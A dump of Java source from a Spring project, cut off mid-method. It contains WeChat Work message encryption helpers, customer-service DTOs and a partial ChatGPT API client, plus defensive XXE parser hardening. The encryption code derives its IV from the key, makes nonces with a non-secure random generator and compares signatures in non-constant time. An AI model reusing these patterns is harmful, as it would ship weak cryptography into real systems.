-------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/model/wechat/aes/ByteGroup.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.model.wechat.aes; 2 | 3 | import java.util.ArrayList; 4 | 5 | public class ByteGroup { 6 | ArrayList byteContainer = new ArrayList(); 7 | 8 | public byte[] toBytes() { 9 | byte[] bytes = new byte[byteContainer.size()]; 10 | for (int i = 0; i < byteContainer.size(); i++) { 11 | bytes[i] = byteContainer.get(i); 12 | } 13 | return bytes; 14 | } 15 | 16 | public ByteGroup addBytes(byte[] bytes) { 17 | for (byte b : bytes) { 18 | byteContainer.add(b); 19 | } 20 | return this; 21 | } 22 | 23 | public int size() { 24 | return byteContainer.size(); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/model/wechat/aes/PKCS7Encoder.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.model.wechat.aes; 2 | 3 | 4 | import java.nio.charset.Charset; 5 | import java.util.Arrays; 6 | 7 | /** 8 | * 提供基于PKCS7算法的加解密接口. 9 | */ 10 | public class PKCS7Encoder { 11 | static Charset CHARSET = Charset.forName("utf-8"); 12 | static int BLOCK_SIZE = 32; 13 | 14 | /** 15 | * 获得对明文进行补位填充的字节. 16 | * 17 | * @param count 需要进行填充补位操作的明文字节个数 18 | * @return 补齐用的字节数组 19 | */ 20 | static byte[] encode(int count) { 21 | // 计算需要填充的位数 22 | int amountToPad = BLOCK_SIZE - (count % BLOCK_SIZE); 23 | if (amountToPad == 0) { 24 | amountToPad = BLOCK_SIZE; 25 | } 26 | // 获得补位所用的字符 27 | char padChr = chr(amountToPad); 28 | String tmp = new String(); 29 | for (int index = 0; index < amountToPad; index++) { 30 | tmp += padChr; 31 | } 32 | return tmp.getBytes(CHARSET); 33 | } 34 | 35 | /** 36 | * 删除解密后明文的补位字符 37 | * 38 | * @param decrypted 解密后的明文 39 | * @return 删除补位字符后的明文 40 | */ 41 | static byte[] decode(byte[] decrypted) { 42 | int pad = (int) decrypted[decrypted.length - 1]; 43 | if (pad < 1 || pad > 32) { 44 | pad = 0; 45 | } 46 | return Arrays.copyOfRange(decrypted, 0, decrypted.length - pad); 47 | } 48 | 49 | /** 50 | * 将数字转化成ASCII码对应的字符,用于对明文进行补码 51 | * 52 | * @param a 需要转化的数字 53 | * @return 转化得到的字符 54 | */ 55 | static char chr(int a) { 56 | byte target = (byte) (a & 0xFF); 57 | return (char) target; 58 | } 59 | 60 | } 61 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/model/wechat/aes/SHA1.java: -------------------------------------------------------------------------------- 1 | 2 | package com.longbig.multifunction.model.wechat.aes; 3 | 4 | 5 | import java.security.MessageDigest; 6 | import java.util.Arrays; 7 | 8 | /** 9 | * SHA1 class 10 | * 11 | * 计算消息签名接口. 12 | */ 13 | public class SHA1 { 14 | 15 | /** 16 | * 用SHA1算法生成安全签名 17 | * @param token 票据 18 | * @param timestamp 时间戳 19 | * @param nonce 随机字符串 20 | * @param encrypt 密文 21 | * @return 安全签名 22 | * @throws AesException 23 | */ 24 | public static String getSHA1(String token, String timestamp, String nonce, String encrypt) throws AesException 25 | { 26 | try { 27 | String[] array = new String[] { token, timestamp, nonce, encrypt }; 28 | StringBuffer sb = new StringBuffer(); 29 | // 字符串排序 30 | Arrays.sort(array); 31 | for (int i = 0; i < 4; i++) { 32 | sb.append(array[i]); 33 | } 34 | String str = sb.toString(); 35 | // SHA1签名生成 36 | MessageDigest md = MessageDigest.getInstance("SHA-1"); 37 | md.update(str.getBytes()); 38 | byte[] digest = md.digest(); 39 | 40 | StringBuffer hexstr = new StringBuffer(); 41 | String shaHex = ""; 42 | for (int i = 0; i < digest.length; i++) { 43 | shaHex = Integer.toHexString(digest[i] & 0xFF); 44 | if (shaHex.length() < 2) { 45 | hexstr.append(0); 46 | } 47 | hexstr.append(shaHex); 48 | } 49 | return hexstr.toString(); 50 | } catch (Exception e) { 51 | e.printStackTrace(); 52 | throw new AesException(AesException.ComputeSignatureError); 53 | } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/model/wechat/aes/WXBizMsgCrypt.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.model.wechat.aes; 2 | 3 | 4 | import org.apache.commons.codec.binary.Base64; 5 | 6 | import javax.crypto.Cipher; 7 | import javax.crypto.spec.IvParameterSpec; 8 | import javax.crypto.spec.SecretKeySpec; 9 | import java.nio.charset.Charset; 10 | import java.util.Arrays; 11 | import java.util.Random; 12 | 13 | /** 14 | * 提供接收和推送给企业微信消息的加解密接口(UTF8编码的字符串). 15 | *
    16 | *
  1. 第三方回复加密消息给企业微信
  2. 17 | *
  3. 第三方收到企业微信发送的消息,验证消息的安全性,并对消息进行解密。
  4. 18 | *
19 | * 说明:异常java.security.InvalidKeyException:illegal Key Size的解决方案 20 | *
    21 | *
  1. 在官方网站下载JCE无限制权限策略文件(JDK7的下载地址: 22 | * http://www.oracle.com/technetwork/java/javase/downloads/jce-7-download-432124.html
  2. 23 | *
  3. 下载后解压,可以看到local_policy.jar和US_export_policy.jar以及readme.txt
  4. 24 | *
  5. 如果安装了JRE,将两个jar文件放到%JRE_HOME%\lib\security目录下覆盖原来的文件
  6. 25 | *
  7. 如果安装了JDK,将两个jar文件放到%JDK_HOME%\jre\lib\security目录下覆盖原来文件
  8. 26 | *
27 | */ 28 | public class WXBizMsgCrypt { 29 | static Charset CHARSET = Charset.forName("utf-8"); 30 | Base64 base64 = new Base64(); 31 | byte[] aesKey; 32 | String token; 33 | String receiveid; 34 | 35 | /** 36 | * 构造函数 37 | * @param token 企业微信后台,开发者设置的token 38 | * @param encodingAesKey 企业微信后台,开发者设置的EncodingAESKey 39 | * @param receiveid, 不同场景含义不同,详见文档 40 | * 41 | * @throws AesException 执行失败,请查看该异常的错误码和具体的错误信息 42 | */ 43 | public WXBizMsgCrypt(String token, String encodingAesKey, String receiveid) throws AesException { 44 | if (encodingAesKey.length() != 43) { 45 | throw new AesException(AesException.IllegalAesKey); 46 | } 47 | 48 | this.token = token; 49 | this.receiveid = receiveid; 50 | aesKey = Base64.decodeBase64(encodingAesKey + "="); 51 | } 52 | 53 | // 生成4个字节的网络字节序 54 | byte[] getNetworkBytesOrder(int sourceNumber) { 55 | byte[] orderBytes = new byte[4]; 56 | orderBytes[3] = (byte) (sourceNumber & 0xFF); 57 | orderBytes[2] = (byte) (sourceNumber >> 8 & 0xFF); 58 | orderBytes[1] = (byte) (sourceNumber >> 16 & 0xFF); 59 | orderBytes[0] = (byte) (sourceNumber >> 24 & 0xFF); 60 | return orderBytes; 61 | } 62 | 63 | // 还原4个字节的网络字节序 64 | int recoverNetworkBytesOrder(byte[] orderBytes) { 65 | int sourceNumber = 0; 66 | for (int i = 0; i < 4; i++) { 67 | sourceNumber <<= 8; 68 | sourceNumber |= orderBytes[i] & 0xff; 69 | } 70 | return sourceNumber; 71 | } 72 | 73 | // 随机生成16位字符串 74 | String getRandomStr() { 75 | String base = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; 76 | Random random = new Random(); 77 | StringBuffer sb = new StringBuffer(); 78 | for (int i = 0; i < 16; i++) { 79 | int number = random.nextInt(base.length()); 80 | sb.append(base.charAt(number)); 81 | } 82 | return sb.toString(); 83 | } 84 | 85 | /** 86 | * 对明文进行加密. 87 | * 88 | * @param text 需要加密的明文 89 | * @return 加密后base64编码的字符串 90 | * @throws AesException aes加密失败 91 | */ 92 | public String encrypt(String randomStr, String text) throws AesException { 93 | ByteGroup byteCollector = new ByteGroup(); 94 | byte[] randomStrBytes = randomStr.getBytes(CHARSET); 95 | byte[] textBytes = text.getBytes(CHARSET); 96 | byte[] networkBytesOrder = getNetworkBytesOrder(textBytes.length); 97 | byte[] receiveidBytes = receiveid.getBytes(CHARSET); 98 | 99 | // randomStr + networkBytesOrder + text + receiveid 100 | byteCollector.addBytes(randomStrBytes); 101 | byteCollector.addBytes(networkBytesOrder); 102 | byteCollector.addBytes(textBytes); 103 | byteCollector.addBytes(receiveidBytes); 104 | 105 | // ... + pad: 使用自定义的填充方式对明文进行补位填充 106 | byte[] padBytes = PKCS7Encoder.encode(byteCollector.size()); 107 | byteCollector.addBytes(padBytes); 108 | 109 | // 获得最终的字节流, 未加密 110 | byte[] unencrypted = byteCollector.toBytes(); 111 | 112 | try { 113 | // 设置加密模式为AES的CBC模式 114 | Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding"); 115 | SecretKeySpec keySpec = new SecretKeySpec(aesKey, "AES"); 116 | IvParameterSpec iv = new IvParameterSpec(aesKey, 0, 16); 117 | cipher.init(Cipher.ENCRYPT_MODE, keySpec, iv); 118 | 119 | // 加密 120 | byte[] encrypted = cipher.doFinal(unencrypted); 121 | 122 | // 使用BASE64对加密后的字符串进行编码 123 | String base64Encrypted = base64.encodeToString(encrypted); 124 | 125 | return base64Encrypted; 126 | } catch (Exception e) { 127 | e.printStackTrace(); 128 | throw new AesException(AesException.EncryptAESError); 129 | } 130 | } 131 | 132 | /** 133 | * 对密文进行解密. 134 | * 135 | * @param text 需要解密的密文 136 | * @return 解密得到的明文 137 | * @throws AesException aes解密失败 138 | */ 139 | public String decrypt(String text) throws AesException { 140 | byte[] original; 141 | try { 142 | // 设置解密模式为AES的CBC模式 143 | Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding"); 144 | SecretKeySpec key_spec = new SecretKeySpec(aesKey, "AES"); 145 | IvParameterSpec iv = new IvParameterSpec(Arrays.copyOfRange(aesKey, 0, 16)); 146 | cipher.init(Cipher.DECRYPT_MODE, key_spec, iv); 147 | 148 | // 使用BASE64对密文进行解码 149 | byte[] encrypted = Base64.decodeBase64(text); 150 | 151 | // 解密 152 | original = cipher.doFinal(encrypted); 153 | } catch (Exception e) { 154 | e.printStackTrace(); 155 | throw new AesException(AesException.DecryptAESError); 156 | } 157 | 158 | String xmlContent, from_receiveid; 159 | try { 160 | // 去除补位字符 161 | byte[] bytes = PKCS7Encoder.decode(original); 162 | 163 | // 分离16位随机字符串,网络字节序和receiveid 164 | byte[] networkOrder = Arrays.copyOfRange(bytes, 16, 20); 165 | 166 | int xmlLength = recoverNetworkBytesOrder(networkOrder); 167 | 168 | xmlContent = new String(Arrays.copyOfRange(bytes, 20, 20 + xmlLength), CHARSET); 169 | from_receiveid = new String(Arrays.copyOfRange(bytes, 20 + xmlLength, bytes.length), 170 | CHARSET); 171 | } catch (Exception e) { 172 | e.printStackTrace(); 173 | throw new AesException(AesException.IllegalBuffer); 174 | } 175 | 176 | // receiveid不相同的情况 177 | if (!from_receiveid.equals(receiveid)) { 178 | throw new AesException(AesException.ValidateCorpidError); 179 | } 180 | return xmlContent; 181 | 182 | } 183 | 184 | /** 185 | * 将企业微信回复用户的消息加密打包. 186 | *
    187 | *
  1. 对要发送的消息进行AES-CBC加密
  2. 188 | *
  3. 生成安全签名
  4. 189 | *
  5. 将消息密文和安全签名打包成xml格式
  6. 190 | *
191 | * 192 | * @param replyMsg 企业微信待回复用户的消息,xml格式的字符串 193 | * @param timeStamp 时间戳,可以自己生成,也可以用URL参数的timestamp 194 | * @param nonce 随机串,可以自己生成,也可以用URL参数的nonce 195 | * 196 | * @return 加密后的可以直接回复用户的密文,包括msg_signature, timestamp, nonce, encrypt的xml格式的字符串 197 | * @throws AesException 执行失败,请查看该异常的错误码和具体的错误信息 198 | */ 199 | public String EncryptMsg(String replyMsg, String timeStamp, String nonce) throws AesException { 200 | // 加密 201 | String encrypt = encrypt(getRandomStr(), replyMsg); 202 | 203 | // 生成安全签名 204 | if (timeStamp == "") { 205 | timeStamp = Long.toString(System.currentTimeMillis()); 206 | } 207 | 208 | String signature = SHA1.getSHA1(token, timeStamp, nonce, encrypt); 209 | 210 | // System.out.println("发送给平台的签名是: " + signature[1].toString()); 211 | // 生成发送的xml 212 | String result = XMLParse.generate(encrypt, signature, timeStamp, nonce); 213 | return result; 214 | } 215 | 216 | /** 217 | * 检验消息的真实性,并且获取解密后的明文. 218 | *
    219 | *
  1. 利用收到的密文生成安全签名,进行签名验证
  2. 220 | *
  3. 若验证通过,则提取xml中的加密消息
  4. 221 | *
  5. 对消息进行解密
  6. 222 | *
223 | * 224 | * @param msgSignature 签名串,对应URL参数的msg_signature 225 | * @param timeStamp 时间戳,对应URL参数的timestamp 226 | * @param nonce 随机串,对应URL参数的nonce 227 | * @param postData 密文,对应POST请求的数据 228 | * 229 | * @return 解密后的原文 230 | * @throws AesException 执行失败,请查看该异常的错误码和具体的错误信息 231 | */ 232 | public String DecryptMsg(String msgSignature, String timeStamp, String nonce, String postData) 233 | throws AesException { 234 | 235 | // 密钥,公众账号的app secret 236 | // 提取密文 237 | Object[] encrypt = XMLParse.extract(postData); 238 | 239 | // 验证安全签名 240 | String signature = SHA1.getSHA1(token, timeStamp, nonce, encrypt[1].toString()); 241 | 242 | // 和URL中的签名比较是否相等 243 | // System.out.println("第三方收到URL中的签名:" + msg_sign); 244 | // System.out.println("第三方校验签名:" + signature); 245 | if (!signature.equals(msgSignature)) { 246 | throw new AesException(AesException.ValidateSignatureError); 247 | } 248 | 249 | // 解密 250 | String result = decrypt(encrypt[1].toString()); 251 | return result; 252 | } 253 | 254 | /** 255 | * 验证URL 256 | * @param msgSignature 签名串,对应URL参数的msg_signature 257 | * @param timeStamp 时间戳,对应URL参数的timestamp 258 | * @param nonce 随机串,对应URL参数的nonce 259 | * @param echoStr 随机串,对应URL参数的echostr 260 | * 261 | * @return 解密之后的echostr 262 | * @throws AesException 执行失败,请查看该异常的错误码和具体的错误信息 263 | */ 264 | public String VerifyURL(String msgSignature, String timeStamp, String nonce, String echoStr) 265 | throws AesException { 266 | String signature = SHA1.getSHA1(token, timeStamp, nonce, echoStr); 267 | 268 | if (!signature.equals(msgSignature)) { 269 | throw new AesException(AesException.ValidateSignatureError); 270 | } 271 | 272 | String result = decrypt(echoStr); 273 | return result; 274 | } 275 | 276 | } -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/model/wechat/aes/XMLParse.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.model.wechat.aes; 2 | 3 | 4 | import org.w3c.dom.Document; 5 | import org.w3c.dom.Element; 6 | import org.w3c.dom.NodeList; 7 | import org.xml.sax.InputSource; 8 | 9 | import javax.xml.parsers.DocumentBuilder; 10 | import javax.xml.parsers.DocumentBuilderFactory; 11 | import java.io.StringReader; 12 | 13 | /** 14 | * XMLParse class 15 | * 16 | * 提供提取消息格式中的密文及生成回复消息格式的接口. 17 | */ 18 | public class XMLParse { 19 | 20 | /** 21 | * 提取出xml数据包中的加密消息 22 | * @param xmltext 待提取的xml字符串 23 | * @return 提取出的加密消息字符串 24 | * @throws AesException 25 | */ 26 | public static Object[] extract(String xmltext) throws AesException { 27 | Object[] result = new Object[3]; 28 | try { 29 | DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); 30 | 31 | String FEATURE = null; 32 | // This is the PRIMARY defense. If DTDs (doctypes) are disallowed, almost all XML entity attacks are prevented 33 | // Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl 34 | FEATURE = "http://apache.org/xml/features/disallow-doctype-decl"; 35 | dbf.setFeature(FEATURE, true); 36 | 37 | // If you can't completely disable DTDs, then at least do the following: 38 | // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities 39 | // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities 40 | // JDK7+ - http://xml.org/sax/features/external-general-entities 41 | FEATURE = "http://xml.org/sax/features/external-general-entities"; 42 | dbf.setFeature(FEATURE, false); 43 | 44 | // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities 45 | // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities 46 | // JDK7+ - http://xml.org/sax/features/external-parameter-entities 47 | FEATURE = "http://xml.org/sax/features/external-parameter-entities"; 48 | dbf.setFeature(FEATURE, false); 49 | 50 | // Disable external DTDs as well 51 | FEATURE = "http://apache.org/xml/features/nonvalidating/load-external-dtd"; 52 | dbf.setFeature(FEATURE, false); 53 | 54 | // and these as well, per Timothy Morgan's 2014 paper: "XML Schema, DTD, and Entity Attacks" 55 | dbf.setXIncludeAware(false); 56 | dbf.setExpandEntityReferences(false); 57 | 58 | // And, per Timothy Morgan: "If for some reason support for inline DOCTYPEs are a requirement, then 59 | // ensure the entity settings are disabled (as shown above) and beware that SSRF attacks 60 | // (http://cwe.mitre.org/data/definitions/918.html) and denial 61 | // of service attacks (such as billion laughs or decompression bombs via "jar:") are a risk." 62 | 63 | // remaining parser logic 64 | DocumentBuilder db = dbf.newDocumentBuilder(); 65 | StringReader sr = new StringReader(xmltext); 66 | InputSource is = new InputSource(sr); 67 | Document document = db.parse(is); 68 | 69 | Element root = document.getDocumentElement(); 70 | NodeList nodelist1 = root.getElementsByTagName("Encrypt"); 71 | result[0] = 0; 72 | result[1] = nodelist1.item(0).getTextContent(); 73 | return result; 74 | } catch (Exception e) { 75 | e.printStackTrace(); 76 | throw new AesException(AesException.ParseXmlError); 77 | } 78 | } 79 | 80 | /** 81 | * 生成xml消息 82 | * @param encrypt 加密后的消息密文 83 | * @param signature 安全签名 84 | * @param timestamp 时间戳 85 | * @param nonce 随机字符串 86 | * @return 生成的xml字符串 87 | */ 88 | public static String generate(String encrypt, String signature, String timestamp, String nonce) { 89 | 90 | String format = "\n" + "\n" 91 | + "\n" 92 | + "%3$s\n" + "\n" + ""; 93 | return String.format(format, encrypt, signature, timestamp, nonce); 94 | 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/model/wechat/kf/KefuDataDTO.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.model.wechat.kf; 2 | 3 | import lombok.ToString; 4 | 5 | import java.util.List; 6 | 7 | /** 8 | * @author yuyunlong 9 | * @date 2023/6/3 21:48 10 | * @description 微信客服读取接收消息文档:https://developer.work.weixin.qq.com/document/path/94670 11 | */ 12 | @ToString 13 | public class KefuDataDTO { 14 | private Integer errcode; 15 | private String errmsg; 16 | private String next_cursor; 17 | private Integer has_more; 18 | private List msg_list; 19 | 20 | public Integer getErrcode() { 21 | return errcode; 22 | } 23 | 24 | public void setErrcode(Integer errcode) { 25 | this.errcode = errcode; 26 | } 27 | 28 | public String getErrmsg() { 29 | return errmsg; 30 | } 31 | 32 | public void setErrmsg(String errmsg) { 33 | this.errmsg = errmsg; 34 | } 35 | 36 | public String getNext_cursor() { 37 | return next_cursor; 38 | } 39 | 40 | public void setNext_cursor(String next_cursor) { 41 | this.next_cursor = next_cursor; 42 | } 43 | 44 | public Integer getHas_more() { 45 | return has_more; 46 | } 47 | 48 | public void setHas_more(Integer has_more) { 49 | this.has_more = has_more; 50 | } 51 | 52 | public List getMsg_list() { 53 | return msg_list; 54 | } 55 | 56 | public void setMsg_list(List msg_list) { 57 | this.msg_list = msg_list; 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/model/wechat/kf/KefuDataMsgDTO.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.model.wechat.kf; 2 | 3 | import lombok.ToString; 4 | 5 | /** 6 | * @author yuyunlong 7 | * @date 2023/6/3 21:50 8 | * @description 9 | */ 10 | @ToString 11 | public class KefuDataMsgDTO { 12 | /** 13 | * 字段文档:https://developer.work.weixin.qq.com/document/path/94670 14 | */ 15 | private String msgid; 16 | private String open_kfid; 17 | private String external_userid; 18 | private Long send_time; 19 | private Integer origin; 20 | private String servicer_userid; 21 | private String msgtype; 22 | private KefuTextDTO text; 23 | 24 | public String getMsgid() { 25 | return msgid; 26 | } 27 | 28 | public void setMsgid(String msgid) { 29 | this.msgid = msgid; 30 | } 31 | 32 | public String getOpen_kfid() { 33 | return open_kfid; 34 | } 35 | 36 | public void setOpen_kfid(String open_kfid) { 37 | this.open_kfid = open_kfid; 38 | } 39 | 40 | public String getExternal_userid() { 41 | return external_userid; 42 | } 43 | 44 | public void setExternal_userid(String external_userid) { 45 | this.external_userid = external_userid; 46 | } 47 | 48 | public Long getSend_time() { 49 | return send_time; 50 | } 51 | 52 | public void setSend_time(Long send_time) { 53 | this.send_time = send_time; 54 | } 55 | 56 | public Integer getOrigin() { 57 | return origin; 58 | } 59 | 60 | public void setOrigin(Integer origin) { 61 | this.origin = origin; 62 | } 63 | 64 | public String getServicer_userid() { 65 | return servicer_userid; 66 | } 67 | 68 | public void setServicer_userid(String servicer_userid) { 69 | this.servicer_userid = servicer_userid; 70 | } 71 | 72 | public String getMsgtype() { 73 | return msgtype; 74 | } 75 | 76 | public void setMsgtype(String msgtype) { 77 | this.msgtype = msgtype; 78 | } 79 | 80 | public KefuTextDTO getText() { 81 | return text; 82 | } 83 | 84 | public void setText(KefuTextDTO text) { 85 | this.text = text; 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/model/wechat/kf/KefuHandleDTO.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.model.wechat.kf; 2 | 3 | import lombok.ToString; 4 | 5 | /** 6 | * @author yuyunlong 7 | * @date 2023/6/4 00:23 8 | * @description 9 | */ 10 | @ToString 11 | public class KefuHandleDTO { 12 | private String data; 13 | private String fromUser; 14 | private String openKfid; 15 | private String chatGptData; 16 | 17 | public String getData() { 18 | return data; 19 | } 20 | 21 | public void setData(String data) { 22 | this.data = data; 23 | } 24 | 25 | public String getFromUser() { 26 | return fromUser; 27 | } 28 | 29 | public void setFromUser(String fromUser) { 30 | this.fromUser = fromUser; 31 | } 32 | 33 | public String getOpenKfid() { 34 | return openKfid; 35 | } 36 | 37 | public void setOpenKfid(String openKfid) { 38 | this.openKfid = openKfid; 39 | } 40 | 41 | public String getChatGptData() { 42 | return chatGptData; 43 | } 44 | 45 | public void setChatGptData(String chatGptData) { 46 | this.chatGptData = chatGptData; 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/model/wechat/kf/KefuNoticeDTO.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.model.wechat.kf; 2 | 3 | import lombok.ToString; 4 | 5 | /** 6 | * @author yuyunlong 7 | * @date 2023/6/3 20:58 8 | * @description 微信客服接收消息触发的xml data 9 | */ 10 | @ToString 11 | public class KefuNoticeDTO { 12 | private String ToUserName; 13 | private String CreateTime; 14 | private String MsgType; 15 | private String Event; 16 | private String Token; 17 | private String OpenKfId; 18 | 19 | public String getToUserName() { 20 | return ToUserName; 21 | } 22 | 23 | public void setToUserName(String toUserName) { 24 | ToUserName = toUserName; 25 | } 26 | 27 | public String getCreateTime() { 28 | return CreateTime; 29 | } 30 | 31 | public void setCreateTime(String createTime) { 32 | CreateTime = createTime; 33 | } 34 | 35 | public String getMsgType() { 36 | return MsgType; 37 | } 38 | 39 | public void setMsgType(String msgType) { 40 | MsgType = msgType; 41 | } 42 | 43 | public String getEvent() { 44 | return Event; 45 | } 46 | 47 | public void setEvent(String event) { 48 | Event = event; 49 | } 50 | 51 | public String getToken() { 52 | return Token; 53 | } 54 | 55 | public void setToken(String token) { 56 | Token = token; 57 | } 58 | 59 | public String getOpenKfId() { 60 | return OpenKfId; 61 | } 62 | 63 | public void setOpenKfId(String openKfId) { 64 | OpenKfId = openKfId; 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/model/wechat/kf/KefuSendTextDTO.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.model.wechat.kf; 2 | 3 | import lombok.ToString; 4 | 5 | /** 6 | * @author yuyunlong 7 | * @date 2023/6/4 00:31 8 | * @description 字段说明:https://developer.work.weixin.qq.com/document/path/94677#%E6%96%87%E6%9C%AC%E6%B6%88%E6%81%AF 9 | */ 10 | @ToString 11 | public class KefuSendTextDTO { 12 | /** 13 | * 字段文档:https://developer.work.weixin.qq.com/document/path/94677#文本消息 14 | */ 15 | private String touser; 16 | private String open_kfid; 17 | private String msgid; 18 | private String msgtype = "text"; 19 | private TextContentDTO text; 20 | 21 | public String getTouser() { 22 | return touser; 23 | } 24 | 25 | public void setTouser(String touser) { 26 | this.touser = touser; 27 | } 28 | 29 | public String getOpen_kfid() { 30 | return open_kfid; 31 | } 32 | 33 | public void setOpen_kfid(String open_kfid) { 34 | this.open_kfid = open_kfid; 35 | } 36 | 37 | public String getMsgid() { 38 | return msgid; 39 | } 40 | 41 | public void setMsgid(String msgid) { 42 | this.msgid = msgid; 43 | } 44 | 45 | public String getMsgtype() { 46 | return msgtype; 47 | } 48 | 49 | public void setMsgtype(String msgtype) { 50 | this.msgtype = msgtype; 51 | } 52 | 53 | public TextContentDTO getText() { 54 | return text; 55 | } 56 | 57 | public void setText(TextContentDTO text) { 58 | this.text = text; 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/model/wechat/kf/KefuTextDTO.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.model.wechat.kf; 2 | 3 | import lombok.ToString; 4 | 5 | /** 6 | * @author yuyunlong 7 | * @date 2023/6/4 00:02 8 | * @description 9 | */ 10 | @ToString 11 | public class KefuTextDTO { 12 | private String content; 13 | private String menu_id; 14 | 15 | public String getContent() { 16 | return content; 17 | } 18 | 19 | public void setContent(String content) { 20 | this.content = content; 21 | } 22 | 23 | public String getMenu_id() { 24 | return menu_id; 25 | } 26 | 27 | public void setMenu_id(String menu_id) { 28 | this.menu_id = menu_id; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/model/wechat/kf/TextContentDTO.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.model.wechat.kf; 2 | 3 | import lombok.ToString; 4 | 5 | /** 6 | * @author yuyunlong 7 | * @date 2023/6/4 00:32 8 | * @description 9 | */ 10 | @ToString 11 | public class TextContentDTO { 12 | private String content; 13 | 14 | public String getContent() { 15 | return content; 16 | } 17 | 18 | public void setContent(String content) { 19 | this.content = content; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /src/main/java/com/longbig/multifunction/service/ChatGptService.java: -------------------------------------------------------------------------------- 1 | package com.longbig.multifunction.service; 2 | 3 | import com.alibaba.fastjson.JSON; 4 | import com.alibaba.fastjson.JSONArray; 5 | import com.alibaba.fastjson.JSONObject; 6 | import com.google.common.collect.Lists; 7 | import com.google.common.collect.Maps; 8 | import com.longbig.multifunction.config.BaseConfig; 9 | import com.longbig.multifunction.model.chatgpt.GptMessageDto; 10 | import com.longbig.multifunction.utils.CacheHelper; 11 | import com.longbig.multifunction.utils.OkHttpUtils; 12 | import lombok.extern.slf4j.Slf4j; 13 | import okhttp3.MediaType; 14 | import okhttp3.RequestBody; 15 | import org.apache.commons.lang3.StringUtils; 16 | import org.springframework.beans.factory.annotation.Autowired; 17 | import org.springframework.stereotype.Service; 18 | 19 | import java.util.List; 20 | import java.util.Map; 21 | import java.util.Objects; 22 | 23 | /** 24 | * @author yuyunlong 25 | * @date 2023/2/12 6:53 下午 26 | * @description 27 | */ 28 | @Service 29 | @Slf4j 30 | public class ChatGptService { 31 | 32 | @Autowired 33 | private BaseConfig baseConfig; 34 | 35 | /** 36 | * openai complete功能 37 | * 接口文档:https://platform.openai.com/docs/api-reference/completions/create 38 | * 39 | * @return 40 | */ 41 | public String openAiComplete(String text) throws Exception { 42 | log.info("调用GPT3模型对话,text:{}", text); 43 | Map header = Maps.newHashMap(); 44 | String drawUrl = "https://api.openai.com/v1/completions"; 45 | String cookie = ""; 46 | header.put("Authorization", "Bearer " + baseConfig.getChatGptApiKey()); 47 | Map body = Maps.newHashMap(); 48 | body.put("model", "text-davinci-003"); 49 | body.put("prompt", text); 50 | body.put("max_tokens", 1024); 51 | body.put("temperature", 1); 52 | MediaType JSON1 = MediaType.parse("application/json;charset=utf-8"); 53 | RequestBody requestBody = RequestBody.create(JSON1, JSON.toJSONString(body)); 54 | 55 | String response = OkHttpUtils.post(drawUrl, cookie, requestBody, header); 56 | if (StringUtils.isBlank(response)) { 57 | return "访问超时"; 58 | } 59 | JSONObject jsonObject = JSONObject.parseObject(response); 60 | JSONArray jsonArray = jsonObject.getJSONArray("choices"); 61 | JSONObject jsonObject1 = (JSONObject) jsonArray.get(0); 62 | String result = (String) jsonObject1.get("text"); 63 | log.info("openAiComplete result:{}", result); 64 | return result; 65 | } 66 | 67 | /** 68 | * openai GPT 3.5 complete功能 69 | * 接口文档:https://platform.openai.com/docs/api-reference/completions/create 70 | * 71 | * @return 72 | */ 73 | public String gptNewComplete(String text, String fromUser) { 74 | Map header = Maps.newHashMap(); 75 | String drawUrl = "https://api.openai.com/v1/chat/completions"; 76 | String cookie = ""; 77 | header.put("Authorization", "Bearer " + baseConfig.getChatGptApiKey()); 78 | Map body = Maps.newHashMap(); 79 | List msgs = Lists.newArrayList(); 80 | if (CacheHelper.getUserChatFlowSwitch(fromUser)) { 81 | msgs = CacheHelper.getGptCache(fromUser); 82 | } 83 | GptMessageDto gptMessageDto = new GptMessageDto(); 84 | gptMessageDto.setRole("user"); 85 | gptMessageDto.setContent(text); 86 | msgs.add(gptMessageDto); 87 | if (CacheHelper.getUserChatGpt4Switch(fromUser)) { 88 | body.put("model", "gpt-4"); 89 | log.info("调用GPT4模型对话,text:{}", text); 90 | } else { 91 | body.put("model", "gpt-3.5-turbo"); 92 | log.info("调用GPT3.5模型对话,text:{}", text); 93 | } 94 | body.put("messages", msgs); 95 | body.put("temperature", 1); 96 | MediaType JSON1 = MediaType.parse("application/json;charset=utf-8"); 97 | RequestBody requestBody = RequestBody.create(JSON1, JSON.toJSONString(body)); 98 